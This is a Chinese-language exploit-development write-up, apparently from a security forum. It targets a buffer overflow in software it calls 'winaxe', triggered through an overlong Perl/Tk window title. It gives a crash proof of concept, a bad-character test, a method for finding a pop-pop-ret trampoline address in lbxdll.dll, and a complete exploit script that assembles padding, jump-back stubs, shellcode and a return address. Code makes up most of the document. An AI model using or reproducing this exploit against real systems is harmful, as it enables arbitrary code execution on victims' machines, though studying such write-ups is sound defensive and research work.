下面是一个简单的poc脚本:
use strict;
use Tk;
my $main=new MainWindow;
$main->title("a" x 2000);
$main->Label(-text=>'Hello world')->pack;
$main->Button(-text=>'Quit',-command=>sub{exit})->pack;
$main->MainLoop;
1;
弹出下面的错误提示:
三、攻击代码编写:
首先使用metasploit生成了大量的badchar测试字符,使用perl把这些测试字符送入系统,看看winaxe对哪些字符进行了限制,这样可以在编写shellcode的时候更加小心。
测试代码:
use strict;
use Tk;
my $main=new MainWindow;
my $buf="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff";
找跳板地址可能要麻烦一些,懒得去编程去找,比较保守的方法是,在经过调试逆向知道了系统pop的次数后,可以编写程序来找:
58 pop eax
5B pop ebx
59 pop ecx
5A pop edx
5C pop esp
5D pop ebp
5E pop esi
5F pop edi
比方说算出来一共有五个pop,并且最后必须有个ret或retn。那么ret是c2,retn是c3,上面的pop 8个寄存器分别为58~5F。那么就变成了一个排列组合问题了。用程序实现起来并不困难。其实我的跳板地址和egogg大侠用的地址的模式是一样的,也是
Pop ebp,Pop edi,Pop esi,Pop ecx,Pop ebx,retn这样的形式,我不太肯定这种顺序是不是编译器已经定好了的,好像有一次看见论坛上说这是堆栈平衡的固定顺序。如果是固定这种顺序的话就好找了。我找的是0x0038255b是lbxdll.dll中的一个地址。
my $jmpback1="\x7d\x88\x04";
my $ret="\x5b\x25\x38\x00";
my $jmpback2="\x45" x 12;
$jmpback2 .="\x51\x66\x44\x66\x44\x66\x05\x77\x74\x66\x05\x77\x74\x66\x50\xc3";
$jmpback2 .="\x45" x 27;
my $buf="\x45" x 5300;
$buf .="\x51\x66\x44\x66\x44\x66\x05\x77\x74\x66\x05\x51\x74\x66\x05\x12\x2b\x66\x50\x66\x5c";
$buf .="\x45" x 119;
$buf .=$shellcode;
$buf .=$jmpback2;
$buf .=$jmpback1;
$buf .=$ret;
my $main=new MainWindow;
$main->title($buf);
$main->Label(-text=>'Hello world')->pack;
$main->Button(-text=>'Quit',-command=>sub{exit})->pack;
$main->MainLoop;
1;